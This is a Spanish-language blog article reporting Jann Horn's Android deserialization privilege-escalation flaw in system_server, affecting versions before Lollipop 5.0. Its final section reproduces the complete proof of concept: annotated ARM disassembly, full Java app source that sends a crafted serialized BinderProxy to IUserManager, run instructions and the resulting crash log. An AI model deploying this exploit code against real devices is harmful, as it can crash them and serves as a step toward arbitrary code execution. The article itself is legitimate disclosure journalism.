Vulnerabilidad Android · 6 min read · Jan 31, 2026

Una omisión de los creadores de Android deja vulnerable casi todos los dispositivos Android fabricados hasta la fecha

Table Of Contents

  • Una omisión de los creadores de Android deja vulnerable casi todos los dispositivos Android fabricados hasta la fecha
  • Fallo en la serialización
  • Motivación
  • Prueba de concepto

Una omisión de los creadores de Android deja vulnerable casi todos los dispositivos Android fabricados hasta la fecha

Jann Horn, un investigador, ha descubierto una prueba de concepto de vulnerabilidad en Android que podría permitir a un atacante novato atacar el sistema muy fácilmente. Aparentemente, esta vulnerabilidad fue una omisión de los desarrolladores cuando estaban creando la versión inicial de Android y nunca se corrigió. Después de que Horn hizo conocido el agujero, Google lanzó un parche, pero este solo está disponible en la última versión de Android Lollipop 5.0. Esto significa que todos los Android bajo el sol que funcionan con Android antes de Lollipop 5.0 son vulnerables a este fallo de escalada de privilegios.

Fallo en la serialización

La serialización es un proceso mediante el cual los datos de una aplicación se convierten en bytes y se almacenan en un almacenamiento físico. La reversa, la deserialización, es el proceso de convertir estos datos en materia útil para la aplicación. Como puedes imaginar, este es un proceso muy importante para cualquier aplicación, especialmente para hacer copias de seguridad. “El servicio del sistema Android se ejecuta bajo UID 1000 y puede cambiar al contexto de cualquier aplicación, instalar nuevas aplicaciones con permisos arbitrarios, etc.”, explica Horn.

En palabras simples, Android no tiene un mecanismo para verificar si los datos que se le están proporcionando durante la deserialización provienen de una fuente confiable o no. Así que un atacante puede introducir sus propios datos en el sistema aprovechando este agujero. Para aquellos de ustedes más inclinados técnicamente, “java.io.ObjectInputStream” es el método que se puede explotar.

Motivación

Horn tuvo la idea de que tal vulnerabilidad puede existir después de asistir a una charla universitaria sobre vulnerabilidades de aplicaciones web en PHP. Supuso que los desarrolladores de Android también debieron haber cometido un error similar y olvidaron mantener un control de seguridad. Y efectivamente, sus suposiciones se confirmaron cuando regresó e investigó el sistema operativo. Y afortunadamente, decidió informar al equipo de Android sobre ello en lugar de usarlo. Los desarrolladores probablemente pasaron por alto el fallo ya que no es algo que realmente se prueba.

La buena noticia es que el fallo no se puede utilizar directamente debido a las restricciones de privilegios integradas en Android. Así que un atacante se ve obligado a usar otra vulnerabilidad antes de poder usar esta. El equipo de Android lanzó un parche para el fallo a principios de noviembre como parte de la liberación del código AOSP (Android Open Source Project). Pero como mencionamos, este parche es solo para Android 5.0 Lollipop. Y dado que el entorno de Android está tan fragmentado, no podemos saber con certeza si el parche llegará a algún dispositivo que no sea de la línea Nexus.

Prueba de concepto

La prueba de concepto completa se da a continuación:

La clase android.os.BinderProxy contiene un método finalize que llama a código nativo. Este código nativo utilizará los valores de dos campos de tipo int/long (depende de la versión de Android), los convertirá en punteros y los seguirá. En Android 4.4.3, aquí es donde termina uno de esos punteros. r0 contiene el puntero proporcionado por el atacante, y si el atacante puede insertar datos en el proceso en una dirección conocida, termina ganando ejecución de código arbitrario en system_server: # el atacante controla el puntero en r0 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # el atacante controla r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # el atacante controla r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # el atacante controla r3 d1d8: 68da ldr r2, [r3, #12] # el atacante controla r2 d1da: 4790 blx r2 # salto al puntero r2 controlado por el atacante Android tiene ASLR, pero como todas las aplicaciones, system_server se bifurca del proceso zygote – en otras palabras, todas las aplicaciones tienen el mismo diseño básico de memoria que system_server y, por lo tanto, deberían poder eludir el ASLR de system_server. Aquí está mi código de prueba de concepto de falla. Colócalo en una aplicación de Android, instala esa aplicación, ábrela. Si no sucede nada, el GC podría estar tardando – intenta hacer otras cosas o volver a abrir la aplicación de prueba de concepto o algo así. Tu dispositivo debería hacer algo como reiniciarse después de unos segundos. =============================================================================== package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”;
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException
{
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle); byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) {
data[i] = ‘a’;
data[i+1] = ‘n’;
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
} @Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main); Log.i(“badserial”, “iniciando… (v3)”); Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”);
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length+” clases internas encontradas”);
Class clStub = null;
for (Class c: umSubclasses) {
System.out.println(“clase interna: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) {
clStub = c;
}
} Field fTRANSACTION_setApplicationRestrictions =
clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”);
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions =
fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField(“mService”);
fService.setAccessible(true);
Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length+” clases internas encontradas”);
clProxy = null;
for (Class c: stSubclasses) {
System.out.println(“clase interna: “+c.getCanonicalName());
if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) {
clProxy = c;
}
} Field fRemote = clProxy.getDeclaredField(“mRemote”);
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “esperando que explote aquí y allá en el servicio del sistema…”);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}

Esto es lo que deberías ver en el registro del sistema: F/libc ( 382): Señal fatal 11 (SIGSEGV) en 0x1337bef3 (código=1), hilo 391 (FinalizerDaemon)
[…]
I/DEBUG ( 47): pid: 382, tid: 391, nombre: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): señal 11 (SIGSEGV), código 1 (SEGV_MAPERR), dirección de fallo 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Recurso: Secure List

Share: X/Twitter LinkedIn

Recibe nuevas publicaciones en tu bandeja de entrada.

No spam. Cancela la suscripción en cualquier momento.